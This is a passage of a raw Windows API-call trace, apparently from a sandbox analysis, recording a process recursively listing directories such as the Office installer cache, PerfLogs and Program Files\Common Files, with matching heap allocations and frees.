nFileSizeLow=0x7eda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwtrig20.exe", cAlternateFileName="")) returned 1 [0054.503] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d646800, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8d646800, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x741, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VC90.CRT.manifest", cAlternateFileName="MICROS~1.MAN")) returned 1 [0054.503] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c333b00, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8c333b00, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe86b5a80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr90.dll", cAlternateFileName="")) returned 1 [0054.504] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7e3b3f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd79282, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeLR.cab", cAlternateFileName="")) returned 1 [0054.504] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c4ba40, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x387e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.msi", cAlternateFileName="OFFICE~2.MSI")) returned 1 [0054.504] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.xml", cAlternateFileName="OFFICE~2.XML")) returned 1 [0054.504] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0054.504] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0054.504] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8b16200, ftCreationTime.dwHighDateTime=0x1cac190, ftLastAccessTime.dwLowDateTime=0xc8b16200, ftLastAccessTime.dwHighDateTime=0x1cac190, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetupui.dll", cAlternateFileName="")) returned 1 [0054.504] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="pss10r.chm", cAlternateFileName="")) returned 1 [0054.504] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cab9f00, ftCreationTime.dwHighDateTime=0x1cac8ad, ftLastAccessTime.dwLowDateTime=0x7cab9f00, ftLastAccessTime.dwHighDateTime=0x1cac8ad, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.chm", cAlternateFileName="")) returned 1 [0054.504] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0054.504] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 1 [0054.504] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 0 [0054.504] FindClose (in: hFindFile=0x752310 | out: hFindFile=0x752310) returned 1 [0054.505] GetProcessHeap () returned 0x730000 [0054.505] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ea2888 | out: hHeap=0x730000) returned 1 [0054.505] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0117-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9AFC7~1")) returned 1 [0054.505] GetProcessHeap () returned 0x730000 [0054.505] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2ea2888 [0054.505] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752310 [0054.510] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.510] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0054.510] GetProcessHeap () returned 0x730000 [0054.510] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2eb2890 [0054.510] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x754eb8 [0054.515] FindNextFileW (in: hFindFile=0x754eb8, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.516] FindClose (in: hFindFile=0x754eb8 | out: hFindFile=0x754eb8) returned 1 [0054.517] GetProcessHeap () returned 0x730000 [0054.517] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2eb2890 | out: hHeap=0x730000) returned 1 [0054.517] FindClose (in: hFindFile=0x752310 | out: hFindFile=0x752310) returned 1 [0054.517] GetProcessHeap () returned 0x730000 [0054.517] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ea2888 | out: hHeap=0x730000) returned 1 [0054.517] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2ea2888 [0054.517] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752310 [0054.574] FindClose (in: hFindFile=0x752310 | out: hFindFile=0x752310) returned 1 [0054.574] GetProcessHeap () returned 0x730000 [0054.574] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ea2888 | out: hHeap=0x730000) returned 1 [0054.575] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752310 [0054.582] FindClose (in: hFindFile=0x752310 | out: hFindFile=0x752310) returned 1 [0054.583] GetProcessHeap () returned 0x730000 [0054.583] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ea2888 | out: hHeap=0x730000) returned 1 [0054.583] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x754eb8 [0054.711] FindClose (in: hFindFile=0x754eb8 | out: hFindFile=0x754eb8) returned 1 [0054.716] GetProcessHeap () returned 0x730000 [0054.716] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ea2888 | out: hHeap=0x730000) returned 1 [0054.716] FindClose (in: hFindFile=0x7522d0 | out: hFindFile=0x7522d0) returned 1 [0054.718] GetProcessHeap () returned 0x730000 [0054.718] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e91878 | out: hHeap=0x730000) returned 1 [0054.718] FindClose (in: hFindFile=0x752290 | out: hFindFile=0x752290) returned 1 [0054.721] GetProcessHeap () returned 0x730000 [0054.721] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7d7c18 | out: hHeap=0x730000) returned 1 [0054.721] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\*", lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752278 [0054.735] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\Admin\\*", lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7521f8 [0054.770] FindClose (in: hFindFile=0x7521f8 | out: hFindFile=0x7521f8) returned 1 [0054.770] GetProcessHeap () returned 0x730000 [0054.770] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ea1880 | out: hHeap=0x730000) returned 1 [0054.770] FindClose (in: hFindFile=0x752278 | out: hFindFile=0x752278) returned 1 [0054.771] GetProcessHeap () returned 0x730000 [0054.771] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7d7c18 | out: hHeap=0x730000) returned 1 [0054.771] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\*", lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe1adcd40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1adcd40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7521f8 [0054.771] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\*", lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdbf5dfa0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbf5dfa0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0054.771] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752278 [0054.771] FindClose (in: hFindFile=0x752278 | out: hFindFile=0x752278) returned 1 [0054.771] GetProcessHeap () returned 0x730000 [0054.771] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ec2898 | out: hHeap=0x730000) returned 1 [0054.771] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*", lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752278 [0054.772] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82fd18 [0054.772] FindClose (in: hFindFile=0x82fd18 | out: hFindFile=0x82fd18) returned 1 [0054.772] GetProcessHeap () returned 0x730000 [0054.772] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ed28a0 | out: hHeap=0x730000) returned 1 [0054.772] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82fd18 [0054.773] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82fd58 [0054.773] FindClose (in: hFindFile=0x82fd58 | out: hFindFile=0x82fd58) returned 1 [0054.773] GetProcessHeap () returned 0x730000 [0054.773] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee38b0 | out: hHeap=0x730000) returned 1 [0054.773] FindClose (in: hFindFile=0x82fd18 | out: hFindFile=0x82fd18) returned 1 [0054.773] GetProcessHeap () returned 0x730000 [0054.773] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ed28a0 | out: hHeap=0x730000) returned 1 [0054.773] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee28c0 [0054.774] FindClose (in: hFindFile=0x2ee28c0 | out: hFindFile=0x2ee28c0) returned 1 [0054.774] GetProcessHeap () returned 0x730000 [0054.774] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ed28a0 | out: hHeap=0x730000) returned 1 [0054.774] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee28c0 [0054.774] FindClose (in: hFindFile=0x2ee28c0 | out: hFindFile=0x2ee28c0) returned 1 [0054.774] GetProcessHeap () returned 0x730000 [0054.774] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ed28a0 | out: hHeap=0x730000) returned 1 [0054.774] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee28c0 [0054.775] FindClose (in: hFindFile=0x2ee28c0 | out: hFindFile=0x2ee28c0) returned 1 [0054.776] GetProcessHeap () returned 0x730000 [0054.776] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ed28a0 | out: hHeap=0x730000) returned 1 [0054.776] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee28c0 [0054.776] FindClose (in: hFindFile=0x2ee28c0 | out: hFindFile=0x2ee28c0) returned 1 [0054.777] GetProcessHeap () returned 0x730000 [0054.777] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ed28a0 | out: hHeap=0x730000) returned 1 [0054.777] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee28c0 [0054.777] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 